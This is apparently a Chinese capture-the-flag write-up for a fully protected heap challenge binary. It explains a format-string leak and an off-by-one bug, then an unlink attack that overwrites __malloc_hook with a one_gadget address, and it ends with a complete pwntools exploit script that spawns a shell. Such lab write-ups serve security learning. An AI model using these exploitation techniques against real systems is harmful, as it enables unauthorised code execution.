CTF-PWN-heap (off-by-one+unlink+malloc_hook利用)

程序综述

[*] '/home/supergate/Desktop/Pwn/pwn1'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

保护全开。
IDA查看后发现是一个菜单题,主要流程如下(其中show操作是费的,没有办法利用show泄露地址)

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  int v3; // [rsp+Ch] [rbp-4h]

  init();
  banner();
  while ( 1 )
  {
    menu();
    v3 = get_int();
    switch ( v3 )
    {
      case 1:
        add_note();
        break;
      case 2:
        delete_note();
        break;
      case 3:
        puts("None!");
        break;
      case 4:
        edit_note();
        break;
      default:
        puts("No such choices!");
        break;
    }
  }
}

Banner

unsigned __int64 banner()
{
  char format; // [rsp+Ch] [rbp-14h]
  unsigned __int64 v2; // [rsp+18h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  puts("Welcome to note management system!");
  printf("Enter your name: ");
  __isoc99_scanf("%s", &format);
  printf("Hello, ", &format);
  printf(&format);
  puts("\n-------------------------------------");
  return __readfsqword(0x28u) ^ v2;
}

显然存在一个格式化字符串漏洞,这就可以让我们泄露出程序加载的真实地址和libc库的真实地址。

get_input

size_t __fastcall get_input(__int64 a1, int a2)
{
  size_t result; // rax
  signed int v3; // [rsp+10h] [rbp-10h]
  _BYTE *v4; // [rsp+18h] [rbp-8h]

  v3 = 0;
  while ( 1 )
  {
    v4 = (_BYTE *)(v3 + a1);
    result = fread(v4, 1uLL, 1uLL, stdin);
    if ( (signed int)result <= 0 )
      break;
    if ( *v4 == 10 )
    {
      if ( v3 )
      {
        result = v3 + a1;
        *v4 = 0;
        return result;
      }
    }
    else
    {
      result = (unsigned int)++v3;
      if ( a2 + 1 <= (unsigned int)v3 )
        return result;
    }
  }
  return result;
}

这个地方仔细分析,读入的时候边界没有设置好,会有一个off-by-one漏洞。


具体分析

我们能够利用的就是以上两个漏洞,加上程序保护全开,我们无法写入shellcode执行,也无法修改got/plt表来达到劫持函数的操作。所以考虑修改malloc_hook指向的地址。这个地址可以通过one_gadget找gadgets,选择符合条件的运行。

首先我们需要一个指向指针数组的指针,这个地方很显然要用到unlink操作,而在堆上的漏洞只有一个off-by-one,所以考虑如何利用这一个字节。

add_note

unsigned __int64 add_note()
{
  int v0; // ebx
  int v1; // ebx
  size_t size; // [rsp+0h] [rbp-20h]
  unsigned __int64 v4; // [rsp+8h] [rbp-18h]

  v4 = __readfsqword(0x28u);
  printf("Enter the index you want to create (0-10):");
  __isoc99_scanf("%d", (char *)&size + 4);
  if ( (size & 0x8000000000000000LL) == 0LL && SHIDWORD(size) <= 10 )
  {
    if ( counts > 0xAu )
    {
      puts("full!");
      exit(0);
    }
    puts("Enter a size:");
    __isoc99_scanf("%d", &size);
    if ( key == 43 )
    {
      puts("Enter the content: ");
      v0 = HIDWORD(size);
      *((_QWORD *)&note + 2 * v0) = malloc((unsigned int)size);
      *((_DWORD *)&note + 4 * SHIDWORD(size) + 2) = size;
      if ( !*((_QWORD *)&note + 2 * SHIDWORD(size)) )
      {
        fwrite("error", 1uLL, 5uLL, stderr);
        exit(0);
      }
    }
    else
    {
      if ( (unsigned int)size <= 0x80 )
      {
        puts("You can't hack me!");
        return __readfsqword(0x28u) ^ v4;
      }
      puts("Enter the content: ");
      v1 = HIDWORD(size);
      *((_QWORD *)&note + 2 * v1) = malloc((unsigned int)size);
      *((_DWORD *)&note + 4 * SHIDWORD(size) + 2) = size;
      if ( !*((_QWORD *)&note + 2 * SHIDWORD(size)) )
      {
        fwrite("error", 1uLL, 5uLL, stderr);
        exit(0);
      }
    }
    check_pass((_QWORD *)&note + 2 * SHIDWORD(size));
    get_input(*((_QWORD *)&note + 2 * SHIDWORD(size)), size);
    ++counts;
    puts("Done!");
    return __readfsqword(0x28u) ^ v4;
  }
  puts("You can't hack me!");
  return __readfsqword(0x28u) ^ v4;
}

这个地方限制我们只能添加大于0x80大小的chunk。
要注意的是,malloc在分配内存时,会判断需要分配的大小是多少。如果是0x80这个大小,会分配刚好0x80个数据区域来保存输入的数据。如果大小是0x81~0x88,就会分配0x80个大小,然后利用下一个堆块的前0x8位(也就是下一个堆块的presize位)来保存数据。
如果我们申请了一块0x88大小的chunk,利用off-by-one漏洞我们实际上可以控制到物理相邻的下一个chunk的pre_size域和size域,当然也可以修改size域的标志位来满足unlink的条件。

unlink之后,我们就可以获得一个指向.bss指针数组的指针了,这样我们就可以在这个指针数组中布置好malloc_hook的地址,再把它当作指针写入gadgets的地址,这样我们再调用一次malloc函数就能够getshell了


exp

from pwn import *
from LibcSearcher import *
context.update(arch='amd64', log_level='debug', endian='little')

p=process('./pwn1')
#gdb.attach(p)
exev_libc=0xf1147
malloc_hook_libc=0x3C4B10
start_main_libc=0x20740


def add(idx,size,content):
    p.recvuntil(">> ")
    p.sendline("1")
    p.recvuntil("(0-10):")
    p.sendline(str(idx))
    p.recvuntil("Enter a size:\n")
    p.sendline(str(size))
    p.recvuntil("Enter the content: \n")
    p.send(content)

def delete(idx):
    p.recvuntil(">> ")
    p.sendline("2")
    p.recvuntil("Enter an index:\n")
    p.sendline(str(idx))

def edit(idx,content):
    p.recvuntil(">> ")
    p.sendline("4")
    p.recvuntil("Enter an index:\n")
    p.sendline(str(idx))
    p.recvuntil("Enter the content: \n")
    p.send(content)

p.recvuntil("Enter your name: ")
p.sendline("%19$p,%15$p")
p.recvuntil("Hello, ")

note_addr=int(p.recvuntil(",")[:-1],16)-0x55999CADC16A+0x55999CCDD060
print "note_addr =======> "+hex(note_addr)

start_main_addr=int(p.recvline(),16)-0xf0
print "start_main_addr =====> "+hex(start_main_addr)
malloc_hook_addr=start_main_addr-start_main_libc+malloc_hook_libc
exev_addr=start_main_addr-start_main_libc+exev_libc

add(0,0x88,"aaaa"+'\n')
add(1,0x88,"bbbb"+'\n')
payload=p64(0)+p64(0x80)+p64(note_addr-0x18)+p64(note_addr-0x10)+'a'*0x60+p64(0x80)+'\x90'
edit(0,payload)

delete(1)

payload=p64(0)+p64(0)+p64(0)+p64(malloc_hook_addr)+p64(0x88)+'\n'
edit(0,payload)
edit(0,p64(exev_addr)+'\n')

p.recvuntil(">> ")
p.sendline("1")
p.recvuntil("(0-10):")
p.sendline("5")
p.recvuntil("Enter a size:\n")
p.sendline("150")
p.recvuntil("Enter the content: \n")
p.interactive()

你可能感兴趣的:(CTF-PWN)